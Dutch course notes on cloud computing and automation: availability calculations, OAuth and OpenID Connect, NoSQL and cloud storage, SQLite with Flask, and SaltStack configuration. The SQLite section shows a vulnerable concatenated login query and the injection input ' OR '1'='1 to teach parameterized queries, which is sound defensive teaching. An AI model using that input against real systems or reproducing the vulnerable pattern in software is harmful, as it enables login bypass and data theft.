AchtergrondRTO (Recovery Time Objective) = hoe lang de dienst maximaal plat mag liggen. RPO (Recovery Point Objective) = hoeveel data (in tijd) je maximaal mag verliezen, dus hoe oud de laatste bruikbare backup mag zijn.

Beschikbaarheid berekenen

In serie (de dienst heeft alle onderdelen nodig): vermenigvuldig de beschikbaarheden.

0,98 × 0,98 × 0,975 × 0,96 = 0,8989  →  89,89%

Parallel (een cluster: één van de twee is genoeg): vermenigvuldig de onbeschikbaarheden en trek af van 1.

onbeschikbaar: (1 − 0,98) × (1 − 0,98) = 0,02 × 0,02 = 0,0004 = 0,04%
beschikbaar:   100% − 0,04% = 99,96%      # van één negen naar drie negens

# de geclusterde host terug in de keten
0,9996 × 0,98 × 0,975 × 0,96 = 0,9169  →  91,69%
ToetsvalElk extra onderdeel in serie verlaagt de totale beschikbaarheid (de uitkomst is altijd lager dan het zwakste onderdeel). Parallel zetten (redundantie) verhoogt hem. Reken parallel nooit met de beschikbaarheden zelf, maar met 1 − beschikbaarheid.

De case: Wooden Games

Dar (zoon van een fabrikant van houten spellen) wil "Wooden Games" online zetten als gamingplatform. Elk houten spel is al door een developer gedigitaliseerd, er is weinig geld voor de start, en retro is booming: het kan een groot platform worden (groeimodel). Je beschrijft het problem statement en de business drivers, de business-architectuur, minstens 3 business requirements en 5 technical requirements, en een figuur van de technische architectuur in de cloud van je keuze (bijv. met app.diagrams.net). Samen een architectuurontwerp van 1,5 à 2 A4.

S4Les 5 · Identity and Access Management, SSO en federation

Exam material: de presentatie, de "Other information" uit het werkboek (o.a. de Dummy's guide over het verschil tussen OAuth en OpenID) en het lab in het algemeen begrijpen.

Inloggen bij cloudapplicaties

Inloggen moet convenient zijn (zo weinig mogelijk inlogschermen) en secure (zo weinig mogelijk plekken waar de echte credentials staan, en toegang tot zo weinig mogelijk resources). Voorbeeld: Google Sign-In: na één keer inloggen kun je bij alle Google-diensten en gekoppelde diensten zolang de sessie niet verloopt (time-out is een securityfeature).

Definities

BegripBetekenis
IAM — Identity and Access ManagementDe securitydiscipline die zorgt dat de juiste personen bij de juiste resources kunnen, op de juiste momenten, om de juiste redenen (Gartner). Steeds meer business-aligned; vraagt ook businessskills.
AAAAuthentication = bewijzen wie je bent; Authorization = toegang geven of weigeren; Accounting = vastleggen en rapporteren wat er gebeurt.
CredentialsIdentificatie plus bewijs daarvan om toegang te krijgen: gebruikersnaam en wachtwoord, smartcards, certificaten, vingerafdruk.
SSO — Single Sign-OnEén keer authenticeren en daarna automatisch bij verschillende doelsystemen. De doelsystemen houden hun eigen credential stores; SSO beantwoordt de inlogvragen op de achtergrond.
Federated Identity ManagementIdentiteitsinformatie wordt gedeeld tussen entiteiten en over trust domains heen: een vertrouwde identity provider geeft attributen door aan een relying party.
Identity tokenHet "bewijs" dat in plaats van de credentials wordt uitgewisseld.

Samengevat: in de cloud wil je IAM met SSO en zo weinig mogelijk uitwisseling van credentials. Daarvoor heb je federated identity management nodig, dat authenticatie, autorisatie en eventueel accounting regelt en tokens gebruikt om autorisatie-informatie uit te wisselen.

Federation tussen bedrijven (AD FS)

Trey Research heeft de gebruikersaccounts (de account partner / claims provider); A. Datum heeft de webapplicatie (de relying party / resource partner). Ze vertrouwen elkaar via een federation trust: ze spreken af welke claims worden gegeven en geaccepteerd, en wisselen certificaten en public keys uit.

  1. De gebruiker wil naar de webserver van A. Datum; die kent hem niet en verwijst hem naar de federation server van A. Datum.
  2. Die kent hem ook niet en stuurt hem naar zijn eigen (Trey) federation server.
  3. De federation server van Trey laat de domain controller (AD DS) het wachtwoord controleren.
  4. Trey geeft de gebruiker een claim in een security token.
  5. De gebruiker geeft die claim aan de federation server van A. Datum, die hem accepteert (en vaak een nieuwe claim uitgeeft).
  6. Met die claim krijgt hij toegang tot de webserver.

Elke partij houdt de controle over zijn eigen deel: Trey over de accounts en de authenticatie, A. Datum over de applicatie en de toegang.

IAM bij AWS en Azure

  • AWS: een user hoort bij 0 of meer groups; policies worden aan groups of users gekoppeld; een policy bestaat uit diensten met hun toegangsniveau op bepaalde resources, in JSON ("Action": "ec2:*", "Resource": "*"). (IAM-roles: niet voor de toets.)
  • Azure gebruikt rollen (RBAC).

Tokens

{
  "access_token": "eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0Mz…",
  "expires_in": 3600,
  "refresh_token": "c643a63c072f0f05478e9d18b991db80…",
  "token_type": "Bearer",
  "user_id": "16FASL"
}
  • Access token: credential om bij beschermde resources te komen. Staat voor specifieke scopes en een duur, gegeven door de resource owner en afgedwongen door de resource server en authorization server. Vervangt allerlei constructies (zoals gebruikersnaam en wachtwoord) door één token; meestal onleesbaar (opaque) voor de client.
  • Refresh token: credential om een nieuw access token te halen als het huidige verloopt (of een extra token met dezelfde of kleinere scope). Optioneel; gaat alleen naar de authorization server, nooit naar de resource server.
  • expires_in: 3600 = een uur geldig. Bearer = wie het token heeft, mag het gebruiken.

Open standaarden

StandaardVanDoetFormaat
SAML (Security Assertion Markup Language)OASISAuthenticatie én autorisatieXML
OAuth 2.0IETF (RFC 6749)Alleen autorisatieHTTP, tokens
OpenID ConnectOpenID FoundationGebruikt OAuth 2.0 (autorisatie) en voegt authenticatie en identiteit toeREST-achtig, ID token
  • OAuth 2.0 laat een applicatie van een derde beperkte toegang krijgen tot een HTTP-dienst, namens de resource owner (na diens toestemming) of namens zichzelf.
  • OpenID Connect 1.0 is een eenvoudige identity layer bovenop OAuth 2.0: de client kan de identiteit van de eindgebruiker controleren op basis van de authenticatie door een authorization server, en basisprofielinformatie ophalen.
ToetsvalOAuth 2.0 is autorisatie ("deze app mag je stappen lezen"), niet authenticatie. Wil je weten wie de gebruiker is, dan heb je OpenID Connect nodig (of SAML).

OAuth 2.0: rollen, registratie en scope

RolWie
Resource ownerMeestal jijzelf, de gebruiker.
Resource serverDe server met de beschermde data (bijv. Google met je profiel): de API.
ClientDe applicatie die toegang vraagt (je website of mobiele app).
Authorization serverGeeft de access tokens uit aan de client. Kan dezelfde server zijn als de resource server, en vaak is dat zo.
  • Client registration bij de authorization server: je geeft de applicatienaam, de redirect URL's (waar de autorisatiecode en het token naartoe gaan) en de grant type(s). Je krijgt een client ID (unieke random string) en een client secret (geheime sleutel).
  • Scope: parameter die de rechten van het access token beperkt (bijv. alleen profile of alleen activity).

Vier grant types:

Grant typeWanneer
Authorization Code GrantClient is een webserver; gebruikt refresh tokens.
Implicit GrantClient is JavaScript in de browser, geen webserver; geen refresh token.
Resource Owner Password Credentials GrantClient en resource server van hetzelfde bedrijf.
Client Credentials GrantDe client is zelf de resource owner.

De OAuth 2.0-flow (RFC 6749)

  1. (A) Authorization Request: de client (app) vraagt de resource owner (gebruiker) om autorisatie, bij voorkeur via de authorization server.
  2. (B) Authorization Grant: de client krijgt een grant, een credential die de toestemming van de resource owner voorstelt.
  3. (C) Authorization Grant: de client vraagt een access token aan bij de authorization server en laat de grant zien (en authenticeert zichzelf).
  4. (D) Access Token: de authorization server controleert client en grant en geeft een access token.
  5. (E) Access Token: de client vraagt de beschermde resource op bij de resource server (API) met het token.
  6. (F) Protected Resource: de resource server controleert het token en levert de data.

Voorbeeld Fitbit: de familie wil het aantal stappen van mama zien. Mama (resource owner) geeft de familie-app (client) toestemming; de app krijgt een token met een beperkte scope en haalt de stappen op bij de Fitbit-API (resource server). Mama geeft nooit haar wachtwoord aan de app.

OpenID Connect-flow: (1) de RP (client) stuurt een authentication request naar de OpenID Provider (OP); (2) de OP authenticeert de gebruiker en krijgt autorisatie; (3) de OP antwoordt met een ID token en meestal een access token; (4) de RP stuurt met het access token een request naar het UserInfo endpoint; (5) dat geeft claims over de gebruiker terug. Uitproberen kan in de Google OAuth 2 Playground of het OpenID Connect Playground.

Het lab: OAuth met Flask en Authomatic

  • OAuth werkt met page redirects. De webapp stuurt de browser naar de pagina van de OAuth-provider, met in de GET-URL onder andere client_id, redirect_uri, response_type en scope. Na het inloggen stuurt de provider terug naar de redirect_uri.
  • Bij de implicit flow staat het token in een fragment identifier (#access_token=…): dat deel van de URL is alleen zichtbaar voor de client (de browser stuurt het niet naar de server).
  • Authomatic is een Python-library die de redirects en de ontvangen informatie voor je afhandelt; framework-agnostisch (Django, Pyramid, Google App Engine, Flask). Flask gebruikt Jinja2-templates: {{ result.user.name }}.
  • Flask heeft voor development geen aparte webserver nodig (voor productie wel een webserverplugin). Het lab draait op poort 5000 over HTTPS (ssl_context='adhoc'), want de meeste providers weigeren plain HTTP-redirects. Op de packstack-machine is 5000 bezet door Horizon: gebruik dan 5001.
  • Google wil extra verificatie bij een IP uit een privérange. Truc: een wildcard-DNS-dienst zoals nip.io: 10.0.0.1.nip.io wijst naar 10.0.0.1, zodat je een "echte" hostnaam hebt.
  • In config.py staat per provider de class (bijv. oauth2.Google), de consumer_key en consumer_secret (client ID en secret) en de scope.

S4Les 6 · Storage en cloud management

Exam material: de presentatie, het lab (MongoDB) in het algemeen begrijpen, en het boek hoofdstuk 8 en 12.

Tenants in de cloud

  • Single tenant: één organisatie per groep servers. Multitenancy: meerdere organisaties delen een groep servers.
  • Vuistregel: kijk naar de app server. Draait je applicatie op een dedicated server, dan is het single tenant; zodra hij op servers draait die ook door andere applicaties worden gebruikt, is het multi tenant.
Datamodel (Kavis)AppDatabase
Total isolationPer tenant een eigen appPer tenant een eigen database
Data isolationGedeelde app-serverPer tenant een eigen database
Data segregationGedeelde appGedeelde database, data per tenant gescheiden (bijv. op tenant-ID)

Hoe meer gedeeld, hoe goedkoper en schaalbaarder, maar hoe meer risico op datalekken tussen tenants en hoe moeilijker maatwerk per klant.

Self-service cloud

Gebruikers regelen zelf storage en starten applicaties via een webportal, zonder tussenkomst (van bijvoorbeeld de IT-afdeling). Kan public, hybrid of private.

  • Voordelen: niet afhankelijk van de interne provider, alles geautomatiseerd (minder werk voor IT), kostenefficiënt door gedeelde hardware, transparant.
  • Nadelen: vraagt veel planning, verzoeken moeten zonder menselijke tussenkomst worden verwerkt (goed doordachte automatisering), en de interface moet simpel zijn voor gebruikers met verschillende kennis.

Monitoring in de cloud

"Meten is weten." Monitoring = metrics verzamelen om te zien of systemen zich gedragen zoals verwacht, en of ze het gewenste gedrag bij eindgebruikers opleveren. Monitor niet alleen de SLA's, maar alles wat een single point of failure kan zijn. Ook input voor demand management. Een systeem kan technisch perfect draaien terwijl het gebruik daalt: dan is er iets mis met usability of productstrategie.

  • Drie domeinen: user experience (de gebruikers), application environment (de applicatie), vendor environment (de infrastructuur). Allemaal even belangrijk.
  • Wie monitort wat (Kavis): bij IaaS monitort de klant de user-, application- en application-stack-laag (de vendor de infrastructuur); bij PaaS de klant de user- en applicationlaag; bij SaaS de klant alleen de userlaag.
  • Vier lagen: user layer, application layer, application stack layer, infrastructure layer.
  • Zes categorieën: performance, throughput, quality, KPI's, security, compliance.

Relationele databases en hun grenzen

  • Producten: Oracle, SQL Server (Microsoft), DB2 (IBM), ASE (SAP, voorheen Sybase), PostgreSQL, MariaDB, MySQL, Ingres. Commerciële licenties zijn duur, en eigen varianten op de SQL-standaard veroorzaken vendor lock-in.
  • Ontwerppatronen voor grote, snelle datasets: caching, databases splitsen in read-only en write-only, sharding (per klant, tijd of domein), oude data archiveren, denormaliseren, betere indexes. Soms is dat niet genoeg: dan NoSQL.
Relationeel (SQL)NoSQL ("Not only SQL")
Vooraf vastgelegd, vast schema (tabellen en kolommen)Geen vast schema
Gestructureerd en rigide; elk record in een tabel is gelijkTabellen kunnen ongelijke records bevatten
Dwingt dataconsistentie afDwingt geen consistentie af
Langzamer; minder geschikt voor big dataSneller; geschikt voor big data
Use case: warehousingPrototyping, newsfeeds, blogs, social media

NoSQL-types

TypeGeoptimaliseerd voorProducten
Key-valueSnel en schaalbaar, veel writes. Een hashtabel: een unieke key wijst naar een waarde (integer, string, JSON, array). Use case: grote statische data, zoals events of ordergeschiedenis.Redis, Voldemort (LinkedIn), DynamoDB
DocumentZeer snel queryen. Breidt key-value uit: een document is een set key-value-paren, in JSON, XML of binaire JSON.MongoDB, CouchDB, Couchbase, Riak
Column storeAd-hoc queryen en aggregeren. Slaat alle waarden van een kolom bij elkaar op, dus geen full table scan voor "alle salarissen tussen 40.000 en 50.000". Kolommen kun je on the fly toevoegen.HBase (Hadoop, batch), Cassandra (interactief), BigTable (Google)
GraphSnel zoeken in onderling verbonden relaties (graafstructuren), bijv. social-media-analyse ("wie speelde in welke film").Neo4j, InfiniteGraph, OrientDB

Storage bij Azure en AWS

  • Azure via een storage account: Blob-containers (afbeeldingen, video, backups), Files (SMB-shares), Tables (NoSQL). VM-disks via Managed Disks (Ultra SSD, Premium SSD, Standard SSD, Standard HDD).
  • Files: databases presteren slecht met grote bestanden (foto's, video), dus die sla je als bestand op. CDN: geografisch verspreid netwerk van proxyservers voor beschikbaarheid en snelheid.
AWSSoortKenmerk
EC2 Instance StoreBlock, lokaal op de fysieke hostEphemeral (vergankelijk): de data bestaat alleen zolang de instance leeft.
EBS (Elastic Block Store)BlockPersistent: blijft los van de levensduur van de instance bestaan.
S3ObjectOntworpen voor 99,999999999% durability (11 negens): bij 10.000 objecten gemiddeld één verlies per 10 miljoen jaar. Je betaalt voor opslag en ophalen; inkomend verkeer is gratis. Features: REST, versioning, ACL's, IAM-policies, SSL-endpoints.
GlacierArchiefGoedkope langetermijnopslag.

Toch: maak backups. De kans dat een politieke of economische gebeurtenis Amazon onderuit haalt, of dat je account wordt gehackt, is groter dan dat drie regio's tegelijk verdwijnen. Private alternatief: Ceph.

Data lifecycle in de cloud

  • Data lifecycle management is in de cloud een must. Omdat de data niet meer on premise staat, voelen mensen een grotere behoefte aan security (vergelijk geld thuis vs. bij de bank).
  • Uitdagingen: hoe bescherm je data (de provider heeft "root"-toegang en kan kopieën maken)? Hoe vernietig je data (de provider maakt backups; wat gebeurt er als je naar een andere provider gaat)?
  • Oplossing: encryptie van alle waardevolle data, en bewaar je sleutels niet in dezelfde cloudomgeving.

MongoDB en JSON (lab)

  • MongoDB is een document store (NoSQL) die data opslaat in BSON (binaire JSON). Velden mogen per document verschillen, het documentmodel past op de objecten in je code, en het is gedistribueerd met high availability, horizontaal schalen en geografische spreiding ingebouwd. Open source (GNU AGPL).
  • Termen: een database bevat collections (vergelijkbaar met tabellen), die documents bevatten (vergelijkbaar met rijen). Elk document krijgt een _id (ObjectId).
mongoimport --db test --collection restaurants --file restaurants.json
mongosh
> use test
> db.restaurants.find()                                   // alles
> db.restaurants.insertOne({ name: "Red Rooster Harlem",
    address: { street: "130 Lenox Ave", city: "New York", country: "USA" } })
> db.restaurants.find({ "address.country": "USA" }).pretty()
> db.restaurants.updateOne({ name: "Red Rooster Harlem" },
    { $set: { "address.street": "310 Lenox Ave" } })

# Python met pymongo
from pymongo import MongoClient
client = MongoClient()
db = client.test
print(db.restaurants.find_one())

In het lab maak je CRUD-functies (create = insert, read = select, update, delete) voor een loyaltyprogramma van een koffieproducent (codes die één keer bruikbaar zijn). Die functies gebruik je in les 7 voor een REST-API.

JSON vs. XML: XML lijkt op JSON, maar heeft veel meer tekst nodig (open- en sluittags), dus groter en trager om te lezen en schrijven. Omdat veel datacommunicatie via mobiele apparaten gaat (trage of dure verbindingen), telt dat. JSON kent objecten ({ }), geneste objecten en arrays ([ ]).

Vak 04 · 3 lessen

Automation

Bij een aantal sprints hoort een theorietoets; heeft een sprint er geen, dan kan de stof in de volgende sprint worden getoetst. Vragen komen uit het werkboek (de stukjes "lesstof tentamen"), de presentaties en de documenten op Canvas. Je krijgt ook code te zien waarvan je de werking moet uitleggen of waar je een fout uit moet halen.

S3Scripting 3 · Database (SQLite) en Flask

Lesstof tentamen: de presentatie, een fout kunnen halen uit Python-code met een Flask-script of HTML-pagina, zelf Flask-scripts hebben gemaakt, begrijpen hoe je SQL-injectie voorkomt, en alle stappen kennen van een SQLite-database en -tabel maken tot INSERT en SELECT.

SQLite

Beheerders krijgen vaak vragen als "hoeveel orders kwamen er gisteren binnen?" of "geef me een lijst met gebruikers": data uit een database. SQLite is een softwarelibrary die een self-contained, serverless, zero-configuration, transactional SQL-database-engine implementeert. Er zijn naar schatting meer dan een biljoen (1012) SQLite-databases in gebruik: in elke Android- en iOS-telefoon, elke Windows 10-machine, elke Firefox, Chrome en Safari, en de meeste tv's en settopboxen.

VoordelenNadelen
Open source, veel gebruikt, cross-platformOpen source (geen leverancier die verantwoordelijk is)
Serverless en zero configuration, makkelijk te installerenGeen client/server
Triggers, transactions, viewsGeen security (geen gebruikers of rechten)
81.000 regels code en 81 miljoen regels testcodeNiet geschikt bij zwaar gelijktijdig gebruik
Geen beheer nodig: werkt goed in telefoons, tv's: IoT

Console (sqlite3 of sqlite3.exe): .help, .schema (de tabeldefinities), .header on (kolomnamen tonen), .quit. Grafisch: DB Browser for SQLite, SQLiteStudio, PyCharm.

SQLite vanuit Python

import sqlite3
conn = sqlite3.connect("school.db")        # 1 verbinding (maakt het bestand als het niet bestaat)
c = conn.cursor()                           # 2 cursor
c.execute("CREATE TABLE users (id integer, username text, password text)")
c.execute("INSERT INTO users VALUES (1, 'jan', 'Pa$$w0rd')")
conn.commit()                               # 3 wijzigingen vastleggen

c.execute("SELECT * FROM users")
print("EERSTE USER:", c.fetchone())          # één rij (tuple)
print("VOLGENDE USER:", c.fetchone())        # de volgende rij, of None
for row in c.execute("SELECT * FROM users"): # door alle rijen lopen
    print("row", row)
conn.close()                                # 4 sluiten
ToetsvalVergeet je conn.commit() na een INSERT/UPDATE/DELETE, dan is de data na het sluiten weg. Een SELECT heeft geen commit nodig.

Aggregatie in de query (weekopdracht met 1000 random getallen in CREATE TABLE nummers (getal INTEGER)): SELECT SUM(getal) FROM nummers, AVG(getal), MIN(getal), MAX(getal). Het resultaat haal je op met c.fetchone()[0].

SQL-injectie voorkomen

# FOUT: invoer wordt aan de SQL-string geplakt
u = input("user: "); p = input("password: ")
c.execute("SELECT * FROM users WHERE username='" + u + "' AND password='" + p + "'")
# invoer  ' OR '1'='1  maakt de WHERE altijd waar → ingelogd zonder wachtwoord

# GOED: parameterized query met ? als placeholder
t = (u, p)
c.execute("SELECT * FROM users WHERE username=? AND password=?", t)

Met ?-placeholders geeft de database-driver de waarden apart door. Ze worden dan altijd als data behandeld, nooit als SQL-code. De parameters geef je als tuple (een enkele waarde: (u,)).

Flask

  • Een GUI kan via de console, met Tkinter (werkt alleen als Python op de client staat) of als webapplicatie met een webframework zoals Django of Flask: dan kan iedereen met een browser erbij.
  • Flask is een microframework (kleine, uitbreidbare kern) in Python, gebaseerd op de Werkzeug WSGI-toolkit en de Jinja2-template-engine.
  • WSGI (Web Server Gateway Interface) is de standaardinterface tussen webservers en Python-webapplicaties. Voor productie gebruik je een echte WSGI-server (Apache, IIS, gunicorn), niet de ingebouwde ontwikkelserver.
  • Virtual environment: hoe meer projecten, hoe groter de kans dat je verschillende versies van libraries (of Python zelf) nodig hebt; een nieuwere library voor het ene project kan het andere breken. Een venv geeft elk project zijn eigen packages.
python3 -m venv .venv
. .venv/bin/activate          # Windows: .venv\Scripts\activate
pip install Flask
deactivate                    # venv weer uit
from flask import Flask, render_template, request

app = Flask(__name__)

@app.route('/')                          # decorator: deze URL hoort bij de functie eronder
def index():
    return render_template('index.html', title='Welcome', username='Rosalia')

@app.route('/user/<name>')               # flexibele route met variabele
def user(name):
    return f'Hallo {name}'

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        return 'Welkom ' + request.form['username']
    return render_template('login.html')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True, ssl_context='adhoc')
Argument van app.run()StandaardBetekenis
host127.0.0.1Met 0.0.0.0 luistert de server op alle IP-adressen van de host (ook van buitenaf bereikbaar).
port5000De poort.
debugFalseTrue geeft foutmeldingen in de browser en herstart bij codewijzigingen.
ssl_contextgeen'adhoc' maakt een certificaat en key aan: een HTTPS-server. Ook eigen sleutelmateriaal kan.
  • Templates staan in een map templates naast je Python-bestand; anders vindt render_template ze niet. Importeer render_template uit flask.
  • Jinja2: {{ variabele }} voor tekst invullen, {% if … %} … {% endif %} en {% for … %} voor logica.
  • Routing: mooie URL's die je kunt onthouden: /booking/ in plaats van /booking.php, /account/1234/ in plaats van /account.asp?id=1234.
  • Formulieren: het HTML-<form action="/gebruiker" method="post"> moet passen bij een route met methods=['POST']; de velden lees je met request.form['first_name'] (of je geeft het hele request.form aan de template).
  • Noem je eigen bestand niet flask.py: dan vindt Python de echte Flask-module niet meer.

Fouten zoeken in Flask-code

SymptoomOorzaak
NameError: name 'app' is not definedapp = Flask(__name__) ontbreekt (zoals in gebruiker.py uit het werkboek, waar ook app.run() mist).
NameError: name 'render_template' is not definedNiet geïmporteerd: from flask import render_template.
TemplateNotFound: index.htmlHet bestand staat niet in de map templates, of de naam is anders geschreven.
405 Method Not Allowed bij het versturen van een formulierDe route accepteert alleen GET; voeg methods=['POST'] (of ['GET','POST']) toe.
404 Not Found na het versturenDe action van het formulier verwijst naar een URL waarvoor geen route bestaat.
Van buitenaf niet bereikbaarhost staat op de standaard 127.0.0.1 in plaats van 0.0.0.0 (of de firewall laat poort 5000 niet door).
KeyError / 400 Bad Request op request.form['x']Het veld heet in de HTML anders (name="…").
Variabele leeg in de paginaNiet meegegeven aan render_template(…, naam=waarde) of anders gespeld in {{ }}.

In de weekopdracht maak je ook een simpele webmail: een formulier met ontvanger, onderwerp en tekst, verstuurd via smtplib (bijv. Gmail: poort 587 met STARTTLS en een app-wachtwoord, omdat Google basic authentication niet meer toestaat).

S3Tooling 2 · Configuration management met SaltStack

Lesstof tentamen: de presentatie en het werkboek (de precieze inhoud van de configuratiefiles hoef je niet te kennen, wel welke services nodig zijn, waarvoor, en hoe je ze globaal configureert), plus de SaltStack-theorie op Canvas (o.a. Declarative vs Imperative en introduction to configuration management).

Wat is configuration management?

Configuration management is het systematisch afhandelen van wijzigingen aan een systeem, zodat de integriteit over de tijd behouden blijft. In ons vak: server configuration management. Voordelen:

  • Snel nieuwe servers provisionen.
  • Snel herstellen na kritieke gebeurtenissen.
  • Goed "gedocumenteerde" systemen (de config-bestanden zijn de documentatie).
  • Makkelijk repliceren.
  • Versiebeheer.
  • Kleinere back-ups (je hoeft alleen data plus de configuratie te bewaren).

Tools

ToolKenmerken (uit de notities)
SCCM (System Center Configuration Manager)Windows.
DSC (Desired State Configuration)Windows, beheerplatform in PowerShell.
PuppetRuby, gemaakt met sysadmins in gedachten, makkelijker dan CFEngine; voor geavanceerde taken leer je Ruby. Declaratief.
ChefRuby (Ruby-DSL), master-agent plus een workstation om de master te besturen; recipes en cookbooks; moeilijk. Imperatief.
AnsibleNieuwer, Python, geen agent nodig, security via SSH.
Salt(Stack)Python; CLI in Python of een DSL (PyDSL); master en minions; ZeroMQ, sneller dan Puppet/Chef.
CFEngineIn C, ingewikkeld, kleine geheugenvoetafdruk, snel.

Declaratief vs. imperatief

  • Declaratief: je beschrijft de gewenste eindtoestand ("dit bestand bestaat met deze inhoud", "dit pakket is geïnstalleerd"); de tool zoekt zelf uit hoe. Voorbeeld uit de dia, een Puppet-manifest: file {'/tmp/testing123': ensure => file, content => "This is a test.\n"}. Salt-states zijn ook declaratief.
  • Imperatief: je schrijft de stappen uit die moeten gebeuren, in volgorde. Voorbeeld uit de dia, een Chef-recipe: if node['java']['jdk_version'] == 7 … execute "apt-get -y install openjdk-7-jdk" … else … end.
  • Gevolg: declaratieve configuratie is idempotent: je kunt hem vaak toepassen en er verandert alleen iets als de werkelijkheid afwijkt van de beschrijving.

Waarom SaltStack, en hoe het communiceert

Redenen: Python-gebaseerd (fouten en configuratie goed te lezen), makkelijk te leren, goed gedocumenteerd, enthousiaste sysadmins, leesbaar YAML, levendige community, open source, schaalbaar.

  • Server-agentmodel: de server heet master, de agent minion. Een master kan duizenden systemen beheren.
  • De minions maken de verbinding naar de master op TCP 4505 en 4506 (de master hoeft geen verbinding naar de minions te openen, dus op de minion is geen firewallpoort nodig).
    • 4505: blijvende verbinding met de publisher-poort; de minions luisteren daar naar berichten (commando's van de master).
    • 4506: de request server; minions verbinden als dat nodig is om resultaten terug te sturen en bestanden of andere data op te vragen.
  • Security: eerst een handshake waarbij de minion zijn public key naar de master stuurt. Accepteert de master die key, dan gaat de communicatie verder versleuteld met een roterende AES-sleutel.
# master
dnf install salt-master
systemctl enable --now salt-master
firewall-cmd --permanent --add-service=salt-master
firewall-cmd --reload
# minion
dnf install salt-minion
nano /etc/salt/minion           # master: salt.school.test
systemctl enable --now salt-minion
# keys op de master
salt-key -L                     # alle keys tonen
salt-key -a client.school.test  # één key accepteren   (-A = allemaal)
salt-key -d client.school.test  # key verwijderen
salt '*' test.ping              # True = het werkt

Automatisch accepteren kan met een autosign-bestand (bijv. *.school.test). Een minion op Windows installeer je met de MSI (configuratie en logs in C:\ProgramData\Salt Project\Salt\).

Minion installeren via kickstart

%post
curl -fsSL https://github.com/saltstack/salt-install-guide/releases/latest/download/salt.repo | tee /etc/yum.repos.d/salt.repo
dnf install -y salt-minion
sed -i "/#master:/c\master: salt.school.test" /etc/salt/minion
systemctl enable salt-minion
systemctl start salt-minion
%end

"Wat gebeurt hier?" Na de OS-installatie (PXE + kickstart, %post-fase) wordt de Salt-repository toegevoegd, de minion geïnstalleerd, de regel #master: in het configbestand vervangen door master: salt.school.test (sed c\ = change line), en de minion-service ingeschakeld en gestart. De nieuwe machine meldt zich dus zelf bij de master; je hoeft alleen nog de key te accepteren. Er is wel internet nodig.

Concepten: YAML, Jinja, grains, states, pillars

BegripWat
GrainsStatische informatie over de minion (OS, os_family, fqdn, IP, saltversion), automatisch verzameld of zelf gezet in /etc/salt/minion (bijv. roles: webserver). Gebruik: targeting.
StateEen .sls-bestand in YAML dat de gewenste configuratie beschrijft (declaratief). Staan op de master in /srv/salt/.
PillarData die op de master staat en aan (specifieke) minions wordt gegeven: gevoelige data zoals wachtwoorden, minionconfiguratie (de naam van het Apache-pakket: httpd op CentOS, apache2 op Debian), en variabelen zoals de DNS-servers van het bedrijf.
YAMLMensleesbaar maar machine-parseerbaar. Inspringen met (twee) spaties, geen tabs.
JinjaTemplatetaal om tekst te vervangen: {{ … }} voor eenvoudige vervanging, {% … %} voor logica (if/elif/endif, for).
top.slsKoppelt minions (targets) aan states, zodat state.apply zonder naam alles toepast.
ToetsvalGrains komen van de minion (informatie over het systeem). Pillars komen van de master (data voor de minion, zoals geheimen). Wachtwoorden zet je in een pillar, niet in een grain of state.

Remote execution

salt '*' test.ping                       # alle minions
salt client.school.test cmd.run pwd      # shellcommando op één minion
salt '*' disk.usage
salt client.school.test acl.getfacl /root/
salt-run manage.status                   # welke minions up/down
salt '*' grains.ls                       # namen van alle grains
salt '*' grains.items                    # alle grains met waarden
salt '*' grains.get fqdn
salt '*' grains.item saltversion os_family
salt -G 'roles:webserver' pkg.install httpd                   # targeting op grain
salt -C 'G@os_family:RedHat and G@roles:webserver' pkg.install httpd   # compound
salt 'database1.example.com' cp.get_file salt://my.cnf /etc/my.cnf

Niet alles werkt op Windows-minions (bijv. cmd.run pwd): de modules zijn deels OS-afhankelijk.

State files

# /srv/salt/ssh.sls
ssh-server:                      # state ID
  pkg.installed:                 # zorg dat het pakket er is
    - name: openssh-server
sshd-config:
  file.managed:                  # bestand op de minion = bestand op de master
    - name: /etc/ssh/sshd_config
    - source: salt://ssh_state/files/sshd_config
    - require:
      - pkg: ssh-server          # eerst het pakket, dan het bestand
ssh-service:
  service.running:               # service draait …
    - enable: True               # … en start bij het booten
    - watch:
      - file: sshd-config        # herstart als het configbestand wijzigt
  • salt:// verwijst naar de root van de fileserver: standaard /srv/salt/ (aan te passen in /etc/salt/master).
  • require = volgorde (dit pas na dat). watch = require plus reageren op wijzigingen (service herstarten).
  • Toepassen: salt client.school.test state.apply example (de statenaam zonder .sls). Verwijder je het bestand op de minion en doe je het nog eens, dan zet Salt het gewoon terug: de gewenste toestand wordt hersteld.
# /srv/salt/top.sls
base:                    # environment
  'G@os:Rocky':          # target: alleen minions met grain os = Rocky
    - example            # state example.sls
# daarna:  salt '*' state.apply   (zonder naam → via top.sls)

Een map met init.sls werkt als state met de naam van de map: apache/init.sls pas je toe als apache (net als apache.sls).

S4Tooling 3 · Configuration management: NextCloud

Lesstof tentamen: zie Tooling 2, plus de presentatie van deze les. Doel van het lab: een NextCloud-server installeren en configureren zonder handmatige acties, met YAML, Jinja, grains, state files en pillars. Je zet een tutorial om naar Salt-configuratie.

NextCloud en wat ervoor nodig is

NextCloud is open-source client-serversoftware voor file hosting, functioneel vergelijkbaar met Dropbox, Office 365 of Google Drive, maar op je eigen server ("zonder pottenkijkers").

OnderdeelWaarvoorSalt-module (tip uit het werkboek)
Pakketten (EPEL, unzip, bzip2, …)Benodigdhedenpkg.installed (met sources voor een rpm-URL)
Apache (httpd) + virtual hostWebserver; /etc/httpd/conf.d/nextcloud.conf met DocumentRoot /var/www/html/nextcloud/pkg.installed, file.managed, service.running
FirewallInkomend http/https toestaanfirewalld.present
PHP 8.2 + modulesNextCloud is in PHP geschrevencmd.run voor dnf module enable php:8.2 -y, daarna pkg.installed
MariaDBDatabase: service aan, database, gebruiker en grants aanmakenmysql_database.present, mysql_user.present, mysql_grants.present (vraagt PyMySQL op de minion: salt-pip install PyMySQL), of cmd.run met mysql-commando's
RedisCachingpkg.installed, service.running
NextCloud-archiefUitpakken in /var/www/html/, data-map, eigenaar apache:apachearchive.extracted (met skip_verify: True)
SELinuxAan laten, maar de NextCloud-mappen het type httpd_sys_rw_content_t geven en httpd_can_network_connect aanzettenselinux.fcontext_policy_present (sel_type), selinux.fcontext_policy_applied, selinux.boolean
GeheimenDatabasenaam, gebruiker, wachtwoordPillar
GrainsAlleen installeren op RHEL/RockyTarget in top.sls

Opbouw van de state files

/srv/salt/top.sls
